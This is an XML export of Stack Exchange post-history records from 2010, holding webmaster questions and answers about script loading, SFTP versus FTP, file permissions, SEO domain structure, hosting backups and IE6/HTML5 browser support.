  <row Id="3594" PostHistoryTypeId="1" PostId="1941" RevisionGUID="5e5ca04d-1e25-4e29-aef5-293c5fff0ebb" CreationDate="2010-08-05T09:39:18.683" UserId="1217" Text="Mobile phone detection (brand, model, browser etc)" />
  <row Id="3595" PostHistoryTypeId="3" PostId="1941" RevisionGUID="5e5ca04d-1e25-4e29-aef5-293c5fff0ebb" CreationDate="2010-08-05T09:39:18.683" UserId="1217" Text="&lt;mobile&gt;&lt;user-agent&gt;&lt;browser-detecting&gt;" />
  <row Id="3596" PostHistoryTypeId="5" PostId="1865" RevisionGUID="3c87c120-ea4f-4fcc-aeba-75706b8fefbd" CreationDate="2010-08-05T11:00:01.617" UserId="1204" Comment="added 41 characters in body" Text="The &quot;anything required before the page will start rendering should be from the same server&quot; rule generally applies to *your* servers or other smaller resources - situations where that DNS lookup may taken a noticeable fraction of a second (which can add up quickly if your objects are strewn around many domains). With common public resources like Google's cache of jQuery and other libraries there is a good chance that your visitor's browser has already done that DNS lookup today (because other sites are referencing the content from that service) and probably has the file in cache too so no transfer needs to be done (or if a request is made it may just get back a short &quot;304 - not modified&quot; response). Even if a full download is needed for the object, Google's content delivery network will be faster for most users than your smaller scale operation.&#xD;&#xA;&#xD;&#xA;One related rule: objects that are not required for the correct function of the page (as the user sees it) should be referred to as late as possible in the main HTTP response. For instance things like the scripts required for advert/stats services (i.e. Google Analytics and its ilk) - give the user your content as quickly as possible, then load the background stuff that only really interests you. I've blocked a couple of ads/stats services (by mapping them to 127.0.0.1 in my hosts file) because they are often too slow and sites that refer to them early just give me a blank page while the scripts are waited for instead of referring to them late so I can read the content I am there for while the other stuff trundles along in the background.&#xD;&#xA;&#xD;&#xA;The usefulness of a cookie-less domain for static content is a matter of scale. If all you have is one 10-byte session ID in the cookies and ten thousand visitors per day requesting ~20 static objects per visit you are only saving ~118Mbyte bandwidth per month (20*20*10000*31/1024/1024). If on the other hand your site keeps one or two Kbytes worth of stuff in the cookies the difference can be much more significant, especially if any of your users access the site via slow connections (i.e. GPRS through tethering to a mobile, or an over-crowded wifi link in a high interference area) or if you get millions of visits per day.&#xD;&#xA;&#xD;&#xA;To summarize, for scripts that must be loaded before the page can render my preferences would be:&#xD;&#xA;&#xD;&#xA;1. ajax.googleapis.com, or similar&#xD;&#xA;2. original hostname of the calling page&#xD;&#xA;3. static cookie-less domain&#xD;&#xA;&#xD;&#xA;For resources that are not essential for initial page rendering, refer to them as late as possible and reverse the above list of preference (though the difference between original hostname and cookie-less domain is most likely not significant unless you are operating on a massive scale)." />
  <row Id="3597" PostHistoryTypeId="5" PostId="1939" RevisionGUID="d1968d11-8042-4d46-be45-d5dccf7deb1e" CreationDate="2010-08-05T11:02:21.487" UserId="1204" Comment="added 30 characters in body" Text="SCP/SFTP, provided by most SSH implementations is what I use for just about all simple remote file transfer. This is available in any Linux/BSD setup either by default or very easy to setup/install and there are several options for Windows including [cygwin][1] which includes a port of the same OpenSSH clients and servers used by most Linux setups.&#xD;&#xA;&#xD;&#xA;Another option is to setup a VPN, using something like OpenVPN, that you connect to the server, you can then FTP over that without making the FTP service available to the outside world (or use any other file transfer option such as using Windows shares directly).&#xD;&#xA;&#xD;&#xA;FTP can work without its passive mode in many cases, but I would recommend moving away from FTP anyway for various reasons:&#xD;&#xA;&#xD;&#xA;* security: everything is sent plain (i.e. unencrypted) with FTP&#xD;&#xA;* security: this includes your login authentication credentials&#xD;&#xA;* efficiency: SCP/SFTP usually works out quicker (esp. over a high latency link when sending multiple objects) as it all happens over one connection not requiring a new data link per object like FTP&#xD;&#xA;* efficiency: SSH (and so SCP/SFTP) support compression as do most VPN solutions which could make a difference depending on what you are transferring&#xD;&#xA;* firewall/routing issues: the FTP protocol's use of separate data connections per transferred object can be a source of failure depending on firewall setups at either end - SCP, SFTP and anything-over-ssh (like rsync) use a single bi-directional connection for everything.&#xD;&#xA;&#xD;&#xA;Another good option for efficiently updating remote content from a local reference is rsync over ssh which does a very good job of just sending the minimum needed to update the remote end - I use this for maintaining off-site backup copies and such.&#xD;&#xA;&#xD;&#xA;Note: Don't confuse SFTP with FTPS. SFTP is &quot;SSH file transfer protocol&quot; and FTPS is &quot;FTP over SSL&quot; which solves the encryption related security issues but not the other disadvantages of FTP.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cygwin.com/" />
  <row Id="3598" PostHistoryTypeId="5" PostId="1897" RevisionGUID="cf47aad9-0749-4985-b144-6730b7fa84db" CreationDate="2010-08-05T11:27:18.640" UserId="1233" Comment="add some extra question" Text="As I read in HTML5 definition it can do anything that Flash can do! and I ask myself is it right to waste my time to learn flash or should I learn HTML5 instead.&#xD;&#xA;&#xD;&#xA;Does HTML5 Beat Flash in the future?&#xD;&#xA;&#xD;&#xA;P.S: Are there any thing that you can do in Flash and still are not possible in HTML5?&#xD;&#xA;" />
  <row Id="3599" PostHistoryTypeId="2" PostId="1942" RevisionGUID="186b0bb1-0d70-4fbd-986b-4916e6aa3bed" CreationDate="2010-08-05T12:15:11.687" UserId="205" Text="Maybe I'm overlooking something, but it seems like you only have given write access to the owner, which has already been established to be likely something other than your PHP/Webserver's user, thus, no permission to write.&#xD;&#xA;&#xD;&#xA;You could either make sure that your user is in the &quot;www-data&quot; group (or whichever group your webserver is using) and add write permission to the group &quot;chmod g+w filename.xml&quot;&#xD;&#xA;&#xD;&#xA;Or, you could place that file in the &quot;www-data&quot; group with &quot;chown www-data:www-data filename.xml&quot;" />
  <row Id="3600" PostHistoryTypeId="2" PostId="1943" RevisionGUID="c11150c6-86fc-48f6-9731-ef4cd6b3b730" CreationDate="2010-08-05T12:45:58.507" UserId="72" Text="I have been working on a project to build up a website and since the delay for the initial launch of the website were short, I wanted to have some minimal content on the website ASAP  so that the website could have a good ranking in Google when it will launch. The bad part in the story is that I had some page with a lot of Lorem Ipsum online. When I realized that it was a pretty bad idea to have pages with a lot of Lorem Ispum, it was too late. The top keyword that Google had found for my website where nearly all Lorem Ipsum. Now, it's a bit less dramatic since the real keyword I am working toward have gone up, but nonetheless I still have a good percentage of keyword that are Lorem Ipsum.&#xD;&#xA;&#xD;&#xA;Should I be worried about the situation and what can I do to make those Lorem Ipsum keyword disappear or be less significant ?" />
  <row Id="3601" PostHistoryTypeId="1" PostId="1943" RevisionGUID="c11150c6-86fc-48f6-9731-ef4cd6b3b730" CreationDate="2010-08-05T12:45:58.507" UserId="72" Text="How to clean the &quot;Lorem Ipsum&quot; of my keywords for my site ?" />
  <row Id="3602" PostHistoryTypeId="3" PostId="1943" RevisionGUID="c11150c6-86fc-48f6-9731-ef4cd6b3b730" CreationDate="2010-08-05T12:45:58.507" UserId="72" Text="&lt;seo&gt;&lt;keywords&gt;" />
  <row Id="3603" PostHistoryTypeId="2" PostId="1944" RevisionGUID="e9d425eb-5585-4920-a6bb-7d45476a4266" CreationDate="2010-08-05T13:17:42.953" UserId="1253" Text="Once you put your real content on your pages Google will recognize that the content has changed and re-rank your pages accordingly. It may not be immediate for some pages due to their low PR but it will eventually happen. If it doesn't make sure those pages really don't have lorem ipsum still present on them and that other pages linking to them don't as well.&#xD;&#xA;&#xD;&#xA;FYI, in the future do not make your website visible to Google until it is ready to launch. There are no benefits to prematurely exposing the site and, as you can see, there are plenty of pitfalls for doing so." />
  <row Id="3604" PostHistoryTypeId="2" PostId="1945" RevisionGUID="1a739e89-9b00-477d-bdc7-e6798cb1d8b7" CreationDate="2010-08-05T13:23:50.803" UserId="524" Text="As much as I love PHP, that is where your bottleneck is in your system. PHP just doesn't have the efficiency of other languages when it comes to text processing.  &#xD;&#xA;http://stackoverflow.com/questions/603163/is-perl-a-good-option-for-heavy-text-processing&#xD;&#xA;&#xD;&#xA;Perl is going to be a better choice for processing and sending emails.  A few years back I had written a simple Perl program that would send personalized emails out to our opt-ins. I was able to send about 80,000 emails in 6 hours just using Perl to create the email and submit them to the local Sendmail program. This was on a pretty standard Virtual Private Server with 2GB of RAM.&#xD;&#xA;&#xD;&#xA;Are you submitting the jobs to the local Sendmail process or is PHPMailer using SMTP? The local Sendmail program will be faster since PHP is not having to open up any network sockets to send the email.&#xD;&#xA;&#xD;&#xA;So in summary you should:&#xD;&#xA;&#xD;&#xA;1. Use Perl instead of PHP  (I hate Perl too, but it's a better text processing tool)&#xD;&#xA;2. Submit the job to the local Sendmail program (that can be configured to forward the jobs to external SMTP servers if it needs to)&#xD;&#xA;3. Use an external SMTP server if the local one gets overloaded.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3605" PostHistoryTypeId="2" PostId="1946" RevisionGUID="d940ac4d-5818-42a5-b158-c0d64c6af3f5" CreationDate="2010-08-05T13:31:45.750" UserId="1306" Text="If I have a site with numerous subcategories would it be better to have one domain with each subcategory linking off it, or a domain for each subcategory?&#xD;&#xA;&#xD;&#xA;For example, if it's a sports news site, it might be something like:&#xD;&#xA;&#xD;&#xA;    sportsnews.com&#xD;&#xA;    sportsnews.com/football-news&#xD;&#xA;    sportsnews.com/cricket-news&#xD;&#xA;    sportsnews.com/tennis-news&#xD;&#xA;etc.&#xD;&#xA;&#xD;&#xA;The idea would be that there's an overall common layout to the sites, but the content and theming is different. &#xD;&#xA;&#xD;&#xA;The alternative approach would be something along the lines of:&#xD;&#xA;&#xD;&#xA;    sportsnews.com&#xD;&#xA;    footballnews.com&#xD;&#xA;    cricketnews.com&#xD;&#xA;    tennisnews.com&#xD;&#xA;&#xD;&#xA;From an SEO point of view, is it best to have the one site with the rest linking off it so all the links to it are driving up the page rank collectively, or would it be best to have separate domains so that the domain, meta, title and description of each individual site all match up to the expected search keyword of `(sport name) news`?&#xD;&#xA;&#xD;&#xA;If the latter approach were chosen, would linking to the individual domains from the primary one then be detrimental to the overall network of sites?" />
  <row Id="3606" PostHistoryTypeId="1" PostId="1946" RevisionGUID="d940ac4d-5818-42a5-b158-c0d64c6af3f5" CreationDate="2010-08-05T13:31:45.750" UserId="1306" Text="SEO: One domain with numerous sections, or various different domains?" />
  <row Id="3607" PostHistoryTypeId="3" PostId="1946" RevisionGUID="d940ac4d-5818-42a5-b158-c0d64c6af3f5" CreationDate="2010-08-05T13:31:45.750" UserId="1306" Text="&lt;seo&gt;" />
  <row Id="3608" PostHistoryTypeId="2" PostId="1947" RevisionGUID="75c36e3b-3ef2-4923-83d1-f67b603e2d11" CreationDate="2010-08-05T13:37:12.773" UserId="1306" Text="We're still battling with IE6, even though it's well and truly in its death throws now. &#xD;&#xA;&#xD;&#xA;If you want to support as many browsers as possible, then the time hasn't yet arrived to code sites in HTML5 with no backwards compatibility. " />
  <row Id="3609" PostHistoryTypeId="16" PostId="1947" RevisionGUID="75c36e3b-3ef2-4923-83d1-f67b603e2d11" CreationDate="2010-08-05T13:37:12.773" UserId="-1" />
  <row Id="3610" PostHistoryTypeId="2" PostId="1948" RevisionGUID="3e98ae1e-9883-49db-84ab-0e23e0b45843" CreationDate="2010-08-05T13:47:27.840" UserDisplayName="Animesh" Text="I run a (CentOS-powered) website currently, and we are currently planning on moving to a dedicated server. One of the essentials for us is _preventing data loss with the least amount of bother_. Therefore, I feel that the following features are important for us&#xD;&#xA;&#xD;&#xA;* RAID 1&#xD;&#xA;* Managed backups by the hosting company, with at least a 7 day retention&#xD;&#xA;&#xD;&#xA;In my search for providers, I found some which provide RAID 1, but none apart from GoDaddy which provide Managed backups. 1&amp;1 provides &quot;FTP backup bandwidth&quot;, but I have to provide the backup location myself.&#xD;&#xA;&#xD;&#xA;Am I missing something? Are there other reputable hosting providers which can provide managed backups as part of their dedicated hosting plans? Some pointers will be much appreciated.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;-A" />
  <row Id="3611" PostHistoryTypeId="1" PostId="1948" RevisionGUID="3e98ae1e-9883-49db-84ab-0e23e0b45843" CreationDate="2010-08-05T13:47:27.840" UserDisplayName="Animesh" Text="Best Dedicated Hosting with RAID 1 and managed backup" />
  <row Id="3612" PostHistoryTypeId="3" PostId="1948" RevisionGUID="3e98ae1e-9883-49db-84ab-0e23e0b45843" CreationDate="2010-08-05T13:47:27.840" UserDisplayName="Animesh" Text="&lt;web-hosting&gt;&lt;backups&gt;" />
  <row Id="3613" PostHistoryTypeId="16" PostId="1948" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T13:53:42.383" UserId="55" />
  <row Id="3614" PostHistoryTypeId="2" PostId="1949" RevisionGUID="ee16d7b1-3615-4c4e-b447-370c76b97323" CreationDate="2010-08-05T13:54:55.907" UserId="1253" Text="What's going to be:&#xD;&#xA;&#xD;&#xA;1) better for your users?&#xD;&#xA;&#xD;&#xA;If spreading it out over several domains will make the content easier for your users to navigate and use then take that route. If putting it all in one place will that, then take that route. You want to make sure you don't lose sight of the bigger picture which is the user experience. The better it is the more likely you will gain popularity (i.e. get more traffic which one would assume is your primary goal) and increase the likelihood that you will gain natural and hopefully valuable incoming links from other webmasters who like your site. Focusing on the user is much more important, and better for SEO, then focusing on the search engines.&#xD;&#xA;&#xD;&#xA;2) easier for you to maintain?&#xD;&#xA;&#xD;&#xA;Although onsite SEO obviously is important and you want to maximize it since it is all that is in your control. But don't make your site a beast to maintain just for SEO's sake. A site that is difficult to maintain eventually gets neglected. Maybe not at first and maybe only gradually over time. But it does happen and results in a degraded user experience. You want to make sure your site is easy to maintain to keep the user experience at its best. If spreading the content out over multiple domains doesn't make your life any more difficult then it may be worth doing for the advantages listed above. But usually there is overhead with running multiple sites so it may not be worth the hassle.&#xD;&#xA;&#xD;&#xA;I personally would keep it all on one domain. It's all related content and it is likely that users will seek more then one sport out when visiting your site. Keeping them in one site is less confusing. You can do plenty with URLs and page titles, etc, to maximize your SEO without the need to get separate domains for each section." />
  <row Id="3615" PostHistoryTypeId="10" PostId="1847" RevisionGUID="4dd1b487-08fa-4ead-b3d0-da57002f99a1" CreationDate="2010-08-05T14:05:31.767" UserId="55" CloseReasonId="7" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="3616" PostHistoryTypeId="5" PostId="1949" RevisionGUID="a3fec49b-0d7b-4c0b-9407-2a3da5703f18" CreationDate="2010-08-05T14:26:57.840" UserId="1253" Comment="added 3 characters in body; deleted 8 characters in body" Text="What's going to be:&#xD;&#xA;&#xD;&#xA;1) better for your users?&#xD;&#xA;&#xD;&#xA;If spreading it out over several domains will make the content easier for your users to navigate and use then take that route. If putting it all in one place will do that, then take that route. You want to make sure you don't lose sight of the bigger picture which is the user experience. The better it is the more likely you will gain popularity (i.e. get more traffic which one would assume is your primary goal) and increase the likelihood that you will gain natural and hopefully valuable incoming links from other webmasters who like your site. Focusing on the user is much more important, and better for SEO, then focusing on the search engines.&#xD;&#xA;&#xD;&#xA;2) easier for you to maintain?&#xD;&#xA;&#xD;&#xA;On site SEO obviously is important and you want to maximize it since it is all that is in your control. But don't make your site a beast to maintain just for SEO's sake. A site that is difficult to maintain eventually gets neglected. Maybe not at first and maybe only gradually over time. But it does happen and results in a degraded user experience. You want to make sure your site is easy to maintain to keep the user experience at its best. If spreading the content out over multiple domains doesn't make your life any more difficult then it may be worth doing for the advantages listed above. But usually there is overhead with running multiple sites so it may not be worth the hassle.&#xD;&#xA;&#xD;&#xA;I personally would keep it all on one domain. It's all related content and it is likely that users will seek more then one sport out when visiting your site. Keeping them in one site is less confusing. You can do plenty with URLs and page titles, etc, to maximize your SEO without the need to get separate domains for each section." />
  <row Id="3617" PostHistoryTypeId="2" PostId="1950" RevisionGUID="b1aa737a-ddda-4d0f-8e29-d9f70cd665cc" CreationDate="2010-08-05T14:38:15.103" UserId="480" Text="[Memset][1] are quite good. Kate Craig-Wood, the MD, runs quite a tight ship and we are informed of unexpected outages in under 2 minutes (two lasting 30 minutes approx in the last year). You also get follow up reports on what happened.&#xD;&#xA;&#xD;&#xA;[RackSpace][2] also offer managed backup, but I personally cannot trust a company offering &quot;100% uptime&quot;, let alone receiving no compensation when their inter-networking of servers changed from 1-3ms to over 500ms per packet. Although many friends and popular on-line SASS companies rave about them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.memset.com/backups.php&#xD;&#xA;  [2]: http://www.rackspace.com/managed_hosting/services/storage/managedbackup.php" />
  <row Id="3618" PostHistoryTypeId="16" PostId="1950" RevisionGUID="b1aa737a-ddda-4d0f-8e29-d9f70cd665cc" CreationDate="2010-08-05T14:38:15.103" UserId="-1" />
  <row Id="3619" PostHistoryTypeId="2" PostId="1951" RevisionGUID="671fee51-943a-4c61-9512-de5540d27f01" CreationDate="2010-08-05T14:52:29.037" UserId="1310" Text="**Note: Not a direct answer, but IMO a valuable contribution. Of course this answer is dependent on your requirements, but I think many readers developing for consumers will find it useful and relevant, especially in the future.**&#xD;&#xA;&#xD;&#xA;To such a fine degree, I don't.&#xD;&#xA;&#xD;&#xA;Of course, user-agent detection is great to serve an optimized mobile version for devices with good, standards-based browsers, such as Android phones, iPhone/iPod Touch, etc.&#xD;&#xA;&#xD;&#xA;For practical purposes, [&quot;old school&quot; mobile browsers are dead][1].  Devices that people *actually use* the mobile web on today have great, capable browsers: WebKit, Opera, and Firefox Mobile.  RIM just announced a built-in WebKit browser, and I feel they're the last major player to make the migration.&#xD;&#xA;&#xD;&#xA;I've assumed your goal is simply redirection to a mobile website.  If it's more complex, for instance, logging individual model numbers or tracking fine-grain statistics, these posts from Stack Overflow should prove helpful:&#xD;&#xA;&#xD;&#xA; - [Detecting mobile browsers from the HTTP request][2] (from 2008)&#xD;&#xA; - [Browser detection vs. feature detection][5]&#xD;&#xA; - [On not using JavaScript][3]&#xD;&#xA; - [jQuery browser plugin][4] (jQuery is written in JavaScript)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/598252/most-promising-mobile-platforms&#xD;&#xA;  [2]: http://stackoverflow.com/questions/142273/standard-way-to-detect-mobile-browsers-in-a-web-application-based-on-the-http-req/169402#169402&#xD;&#xA;  [3]: http://stackoverflow.com/questions/743129/mobile-detection-using-javascript&#xD;&#xA;  [4]: http://stackoverflow.com/questions/100898/browser-detection/100908#100908&#xD;&#xA;  [5]: http://stackoverflow.com/questions/1294586/browser-detection-versus-feature-detection" />
  <row Id="3620" PostHistoryTypeId="2" PostId="1952" RevisionGUID="0c718774-1e57-4864-b248-d0dffbcda1ca" CreationDate="2010-08-05T15:11:42.167" UserId="492" Text="I have a database in MS SQL Sever 2005 Express.  I need to make a duplicate of it to test some upgrade scripts.  I've tried to backup and restore to a new database, and it fails because it can tell the databases are different.  I don't see a way to script out the entire database, otherwise I'd try that.  What is the best way to make a copy of an existing database on the same machine." />
  <row Id="3621" PostHistoryTypeId="1" PostId="1952" RevisionGUID="0c718774-1e57-4864-b248-d0dffbcda1ca" CreationDate="2010-08-05T15:11:42.167" UserId="492" Text="Make a copy of database with SQL Server Management Studio Express 2005" />
  <row Id="3622" PostHistoryTypeId="3" PostId="1952" RevisionGUID="0c718774-1e57-4864-b248-d0dffbcda1ca" CreationDate="2010-08-05T15:11:42.167" UserId="492" Text="&lt;database&gt;" />
  <row Id="3623" PostHistoryTypeId="10" PostId="1952" RevisionGUID="bcb46219-ded7-419b-8e49-4a1994f64870" CreationDate="2010-08-05T15:15:26.067" UserId="55" CloseReasonId="2" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="3624" PostHistoryTypeId="2" PostId="1953" RevisionGUID="ca74ebe8-3e9f-4cc2-9018-2e87479b22cf" CreationDate="2010-08-05T15:20:04.520" UserId="1310" Text="Although the answers above have dissected most of your question, I'll contribute on &quot;needed for page startup&quot;.  I translate this to: is this script **essential** to using the website?  From experience, usually the answer is no.  However, cases when I would:&#xD;&#xA;&#xD;&#xA; - Form validation&#xD;&#xA; - A JavaScript-based navigation (not ideal anyway)&#xD;&#xA; - If the layout depends on JavaScript&#xD;&#xA; - If JavaScript, or a library (like jQuery) is used for DOM modifications that are critical&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And Yahoo's [YSlow performance guidelines][1] for reference.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/performance/rules.html#page-nav" />
  <row Id="3625" PostHistoryTypeId="2" PostId="1954" RevisionGUID="914ef9d6-30c2-4b63-b39d-39b28436464d" CreationDate="2010-08-05T15:40:48.097" UserId="1272" Text="You can use [Google Webmaster tools][1] to remove content from cache for example.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2007/04/requesting-removal-of-content-from-our.html" />
  <row Id="3626" PostHistoryTypeId="2" PostId="1955" RevisionGUID="bae6e2c7-0a7d-4d16-bbd8-076ddc94ff03" CreationDate="2010-08-05T15:41:28.097" UserId="1315" Text="This article by Jeff Atwood always clinched it for me: [Of Spaces, Underscores and Dashes][1]:&#xD;&#xA;&#xD;&#xA;&gt; This_is_a_single_word, but this-is-multiple-words.&#xD;&#xA;&#xD;&#xA;... though this no longer seems to hold in the case of Google (try searching for &quot;web-site&quot;: it is considered as one word).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.codinghorror.com/blog/2006/04/of-spaces-underscores-and-dashes.html" />
  <row Id="3627" PostHistoryTypeId="2" PostId="1956" RevisionGUID="75c34092-91d0-4dd6-ba26-c3c557a8997e" CreationDate="2010-08-05T15:54:54.937" UserDisplayName="Wendry" Text="Would it not be best to have something like&#xD;&#xA;&#xD;&#xA;    sportsnews.com&#xD;&#xA;    sportsnews.com/football&#xD;&#xA;    sportsnews.com/cricket&#xD;&#xA;    sportsnews.com/tennis" />
  <row Id="3628" PostHistoryTypeId="2" PostId="1957" RevisionGUID="a146ec3c-858b-49dd-bd8b-8ab9df7d08f1" CreationDate="2010-08-05T16:10:34.903" UserId="1320" Text="I want to track my website's position in Google's search results for around 50 keywords/phrases and am looking to a nice webapp/windows app to automate this process? Ideally i want to see pretty javscript or flash line graphs for my keyword/position.&#xD;&#xA;&#xD;&#xA;I'm currently free-trialing:&#xD;&#xA;[Raven Tools][1] and&#xD;&#xA;[Sheer SEO][2] but am not particularly impressed with either...&#xD;&#xA;&#xD;&#xA;I guess my budget is up to £25-30/$30-40 per month for a decent bit of software&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://raventools.com&#xD;&#xA;  [2]: http://www.sheerseo.com&#xD;&#xA;&#xD;&#xA;ps. i've tried asking this on SuperUser but it seems a bit webdeveloper-y..." />
  <row Id="3629" PostHistoryTypeId="1" PostId="1957" RevisionGUID="a146ec3c-858b-49dd-bd8b-8ab9df7d08f1" CreationDate="2010-08-05T16:10:34.903" UserId="1320" Text="can anyone reccommend a Google SERP tracker?" />
  <row Id="3630" PostHistoryTypeId="3" PostId="1957" RevisionGUID="a146ec3c-858b-49dd-bd8b-8ab9df7d08f1" CreationDate="2010-08-05T16:10:34.903" UserId="1320" Text="&lt;seo&gt;&lt;tracking&gt;&lt;serps&gt;" />
  <row Id="3631" PostHistoryTypeId="16" PostId="1957" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T16:14:46.583" UserId="55" />
  <row Id="3632" PostHistoryTypeId="2" PostId="1958" RevisionGUID="c1b8ab71-e598-4cbf-83c6-690cbc487237" CreationDate="2010-08-05T16:23:11.317" UserId="18" Text="One factor in SEO is speed. Using different domains can affect browser caching and cookies and therefore speed. I think it comes down to if you think your average user is interested in more than one sport, if he would visit only one site then have different domains and just link between them. If he is more likely to want news on several sports then use one domain, you can still have the others redirect so `footballnews.com` redirects to `sportsnews.com/football` or `football.sportnews.com`" />
  <row Id="3633" PostHistoryTypeId="2" PostId="1959" RevisionGUID="8f923e52-7669-4038-84f8-e51224902edc" CreationDate="2010-08-05T16:28:38.020" UserId="1082" Text="Patients my friend :)&#xD;&#xA;&#xD;&#xA;Google isn't stupid they will re-index your site and remove the old keywords." />
  <row Id="3634" PostHistoryTypeId="2" PostId="1960" RevisionGUID="656b1e97-c0ad-4cce-80a8-5c86c4235d43" CreationDate="2010-08-05T16:35:21.833" UserId="210" Text="I personally think dashes are easier to type than underscores because you don't need to press shift to get them. I'm also wondering if many people would even know where to find the underscore on the keyboard.&#xD;&#xA;&#xD;&#xA;Of course, this isn't a big deal because most users are not typing in website addresses, but it's possible someone might be at sometime." />
  <row Id="3635" PostHistoryTypeId="10" PostId="1957" RevisionGUID="a7a5771c-9b9f-4a46-a2a1-36de7a019055" CreationDate="2010-08-05T16:39:32.873" UserId="55" CloseReasonId="3" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="3636" PostHistoryTypeId="10" PostId="1661" RevisionGUID="2d810457-41cc-443d-a00c-1d326a7babc8" CreationDate="2010-08-05T16:42:19.157" UserId="55" CloseReasonId="3" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="3637" PostHistoryTypeId="10" PostId="925" RevisionGUID="ce58a854-3749-4344-a0f1-80fd3aed7075" CreationDate="2010-08-05T16:42:50.123" UserId="55" CloseReasonId="3" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="3638" PostHistoryTypeId="2" PostId="1961" RevisionGUID="0d638345-8ce1-4a8c-9db5-fd0ccb375b4a" CreationDate="2010-08-05T17:12:54.577" UserId="1157" Text="No opinion or general statistical information will help on this. In all comes to visitors your site targets.&#xD;&#xA;&#xD;&#xA;HTML 5 is going to &quot;suffer&quot; from same issues that old browsers cause, that is, how fast your target audience upgrades their browsers. No other information than you site statistics can help you on that, because people get web browsers in different ways.&#xD;&#xA;&#xD;&#xA;Those that still use IE 6.0 have probably use it because it came with the OS, so they don't care about upgrading, and they never will. Techies, on the other hand, are already coding HTML 5, and laughing their a**es off at sites that don't use it (yet)..." />
  <row Id="3639" PostHistoryTypeId="16" PostId="1961" RevisionGUID="0d638345-8ce1-4a8c-9db5-fd0ccb375b4a" CreationDate="2010-08-05T17:12:54.577" UserId="-1" />
  <row Id="3640" PostHistoryTypeId="2" PostId="1962" RevisionGUID="9cb17277-8eb4-4ea1-9113-9b43e6a398e6" CreationDate="2010-08-05T17:40:38.887" UserId="1310" Text="Download the [Google Page Speed][1] add-on for Firebug.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/speed/page-speed/" />
  <row Id="3641" PostHistoryTypeId="2" PostId="1963" RevisionGUID="d29bde56-8dc8-4072-8f65-2039ad79e3ce" CreationDate="2010-08-05T17:50:18.027" UserId="1326" Text="When developing a website recently, I looked into &lt;a href=&quot;http://gs.statcounter.com/#browser_version-MD-monthly-200910-201008&quot;&gt;stats for my country, Moldova&lt;/a&gt;, and decided to not support it. it is still possible to view site in IE6, but with low quality.&#xD;&#xA;&#xD;&#xA;You can propose IE6 users to install &lt;a href=http://www.google.com/chromeframe&quot;&gt;Google Chrome Frame&lt;/a&gt;. So they will have an ability to view your site as users of modern browsers do." />
  <row Id="3642" PostHistoryTypeId="16" PostId="138" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
  <row Id="3643" PostHistoryTypeId="16" PostId="141" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
  <row Id="3646" PostHistoryTypeId="16" PostId="146" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
  <row Id="3647" PostHistoryTypeId="16" PostId="147" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
  <row Id="3649" PostHistoryTypeId="16" PostId="239" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
  <row Id="3650" PostHistoryTypeId="16" PostId="288" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
  <row Id="3651" PostHistoryTypeId="16" PostId="295" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
  <row Id="3652" PostHistoryTypeId="16" PostId="444" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
  <row Id="3653" PostHistoryTypeId="16" PostId="717" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
  <row Id="3654" PostHistoryTypeId="16" PostId="944" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
  <row Id="3655" PostHistoryTypeId="16" PostId="1672" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
  <row Id="3656" PostHistoryTypeId="16" PostId="1677" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
  <row Id="3657" PostHistoryTypeId="16" PostId="1678" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
  <row Id="3658" PostHistoryTypeId="16" PostId="1757" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
  <row Id="3659" PostHistoryTypeId="16" PostId="1764" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
  <row Id="3660" PostHistoryTypeId="16" PostId="1765" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-05T17:50:59.337" UserId="55" />
